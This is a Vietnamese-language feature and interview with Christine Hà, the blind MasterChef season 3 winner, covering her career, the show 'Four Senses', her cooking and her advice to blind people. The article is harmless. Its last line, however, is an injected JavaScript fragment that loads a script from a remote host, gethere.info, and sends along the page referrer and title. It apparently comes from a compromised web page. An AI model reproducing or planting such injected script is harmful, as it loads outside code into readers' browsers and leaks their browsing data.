“Cổ tích giữa đời thực” về nữ đầu bếp nổi tiếng người Mỹ gốc Việt, Christine Hà

Christine Hà, tên tiếng Việt là Hà Huyền Trân. Cô sinh năm 1979 tại California, là một đầu bếp người Mỹ và nhà văn từ Houston, Texas. Cô là thí sinh khiếm thị đầu tiên của MasterChef và người chiến thắng của mùa giải thứ ba vào năm 2012.

Cả bố và mẹ của Hà là người gốc Việt. Cô hoàn toàn mất khả năng thị giác vào năm 2007, tuy nhiên, vẫn có trong tay tấm bằng Cử nhân Quản trị Kinh doanh Tài chính/MIS từ Đại học và bằng Thạc sĩ Mỹ thuật tại Đại học Creative Writing Houston vào năm 2012.

Cô chưa bao giờ học qua một trường lớp nấu ăn nào mà tất cả là do sự mày mò, tìm hiểu bằng nỗ lực cá nhân. Hà nói: “Tôi phải phụ thuộc rất nhiều vào các giác quan khác để nấu ăn – nếm, ngửi, làm thế nào để cảm nhận chính xác được các thành phần. Nấu ăn không chỉ là tầm nhìn mà nó là một hệ thống gồm nhiều tổ chức khác nhau”.

Ngày 10/12/2012, Christine Hà giành được danh hiệu Quán quân MasterChef với tiền thưởng lên tới $250,000 cùng chiếc cúp MasterChef danh giá và một thỏa thuận cho một cuốn sách dạy nấu ăn của riêng cô, mang tên “Recipes from My Home Kitchen: Asian and American Comfort Food” được phát hành vào năm 2013.

Sau đó, tác giả của blog thực phẩm The Blind Cook đồng kinh phí cho chương trình nấu ăn khá nổi tiếng “Four Senses” trên AMI-TV, mà đến nay đã phát sóng được mùa thứ hai.

Cùng Canada Living trò chuyện với Christine Hà để nghe cô ấy kể về tình yêu nấu ăn của mình. Thực sự đặc biệt!

Bạn có thể cho chúng tôi biết thêm về “Four Senses” và các chương trình nấu ăn mà bạn đang ấp ủ được không?

“Four Senses” là chương trình tôi đồng tổ chức với Carl Heinrich, quán quân “Top Chef Canada” mùa thứ 2. Mỗi tập chúng tôi đều có một đầu bếp khách mời nấu ăn theo những chủ đề đã sắp đặt sẵn . Điều sáng tạo ở đây là chương trình này được ohats trực tiếp chứ không qua bất kì chỉnh sửa nào sau máy quay. Có nghĩa là, khán giả có thể theo dõi ngay quá trình nấu ăn và tham gia cùng với tôi tại căn bếp gia đình.

Đối với tôi, điều này là quan trọng bởi vì tôi đã từng rất thích xem các chương trình nấu ăn trực tiếp khi tôi còn có thể nhìn thấy nhưng sau này, khi bị mù, thật khó cho tôi có thể bắt kịp bất cứ công đoạn nào.

Bạn đang hợp tác cùng một quán quân khác, Carl Heinrich. Điều gì khiến bạn chọn anh ấy mà không phải những đồng nghiệp khác?

Tôi và anh ấy có mối quan hệ rất tốt. Cả hai chúng tôi tôn trọng tài năng và khả năng của nhau. Mặt khác, chúng tôi đều là những người đã có được lòng tin với khán giả, vì thế, chương trình sẽ thu hút hơn.

Chương trình này có phải chủ yếu hướng đến những người khiếm thị?

Tất cả mọi thứ chúng tôi đang làm, từng bước, được thấy rõ qua các tập phim. Chương trình dành cho tất cả mọi người, những người yêu ẩm thực trên thế giới.

Tình yêu nấu ăn đến với bạn như thế nào và bạn có nhớ món ăn đầu tiên bạn nấu là gì không?

Tình yêu của tôi dành cho ẩm thực khi lần đầu tiên tôi nấu ăn ở trường Đại học. Tôi đã bị cuốn hút bởi thực tế rằng nấu ăn là cả một nghệ thuật và khoa học trong quá trình mà bạn có thể biến nguyên liệu thô thành một bữa ăn ngon, gắn kết mọi người. Khi đó, tôi đã có thể mang lại nụ cười cho bạn bè.

Tôi nhớ những món ăn thành công đầu tiên tôi nấu là thịt gà om gừng và tôi muốn từng bước, từng bước viết nên cuốn sách thứ hai.

Bạn thường làm gì để ngày cuối tuần trở nên bận rộn và thành phần nào trong nhà bếp mà bạn luôn có sẵn trong tay?

Món ăn gần đây nhất của tôi vào ngày cuối tuần là món lẩu Trung Quốc. Rất đơn giản thôi tất cả những gì bạn phải làm là chẻ rau, cắt các loại thịt, và đặt tất cả mọi thứ trên đĩa tự phục vụ. Sau đó, bạn thực hiện nêm nếm nước lẩu theo ý thích; Tôi thường sử dụng thịt gà kho, tỏi, hành lá, rau mùi, và có thể là một ít bột cay.

Một trong những thứ không thể tách rời trong căn bếp của tôi là nước mắm dù nó không phải là thứ gia vị đặc trưng được nhập từ Việt Nam tuy nhiên nó vẫn thực sự đặc biệt và kì lạ với một số người.

Bên cạnh đó còn là tỏi và rau mùi – những thứ tôi không thế sống thiếu.

Quan niệm sai lầm nào về người khiếm thị mà bạn muốn xua tan?

Chúng tôi có thể làm hầu hết mọi thứ như những người bình thường, những người có khả năng nhìn thấy. Chỉ là cách thức chúng tôi làm khác họ mà thôi. Với sự trang bị thích hợp, sự thích nghi và có lẽ là một chút trợ giúp hoặc hướng dẫn, chúng tôi không khác gì người bình thường.

Điều gì bạn nghĩ là một thách thức lớn khi nấu ăn?

Một bữa ăn đầy đủ trong ngày Tạ Ơn. Đấy là những gì tôi đã từng làm khi còn có thể nhìn thấy và giờ đây tôi phải học lại từ đầu. Tôi có thể vui mừng mà nói rằng ngoài sự giúp đỡ tôi nhận được từ chồng tôi ở món gà tây thì tất cả mọi thứ đều diễn ra suôn sẻ với riêng tôi, cho đến thời điểm hiện tại.

Chiến thắng tại MasterChef đã thay đổi cuộc sống của bạn như thế nào?

Tôi đã tìm thấy niềm đam mê thực sự của mình trong cuộc sống là viết và nấu ăn. Một giấc mơ đã thành sự thật. Cuốn sách của tôi đã trở thành một trong những cuốn sách bán chạy nhất New York. Tôi thực sự cảm thấy vô cùng tự hào.

Vậy động lực nào đã khiến Christine Hà tham gia chương trình nấu ăn này?

Chồng tôi đã khuyến khích tôi tham gia. Anh ấy bảo tôi hãy can đảm lên. Tôi nghĩ việc tôi tham gia một chương trình nấu ăn cùng những người bạn bình thường đã là một thành công lớn trong cuộc đời của tôi.

Làm thế nào mà bạn kiểm soát được mọi thứ trong căn bếp của bạn?

Không quá khó để bạn kiểm soát những gì trong căn bếp của bạn khi bạn biết nó ở vị trí nào. Cái khó nhất là ở trong căn bếp hoàn toàn mới, phải có những khoảng thời gian đầu, nhưng sự luyện tập cuối cùng cũng giúp tôi vượt qua tất cả.

Điều gì mà Christine Hà muốn nhắn nhủ tới những người khiếm thị như mình?

Nó sẽ thực sự khó khăn khi mới bắt đầu. Đừng ngại ngần hỏi một lời trợ giúp và hãy bắt đầu từ những thứ nhỏ nhặt nhất giống như làm một chiếc bánh sandwich lạnh và học cách cắt nó. Sau đó chuyển sang cắt rau trước khi đưa lên bếp xào. Quan trọng nhất là chậm mà chắc, đừng mắc sai lầm.

Công việc nấu ăn không phải dành cho tất cả mọi người. Nhưng nếu thực sự đó là đam mê thì bạn hãy cố gắng hết sức mình để tưởng tượng thấy những nơi nó có thể đưa bạn đến thay cho con mắt của mình.

Christine Hà – Bạn nghĩ gì về quê hương mình, Việt Nam?

Tôi đã từng đến Việt Nam, nơi cha mẹ tôi sinh ra. Theo những gì nghe kể, tôi biết đây là một quốc gia tuyệt đẹp với những món ăn giản đơn. Như tôi đã phát hiện ra một quán ăn nhỏ ven đường bán món cua rang me cùng nước mắm và rau thơm. Nó thực sự rất ngon.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;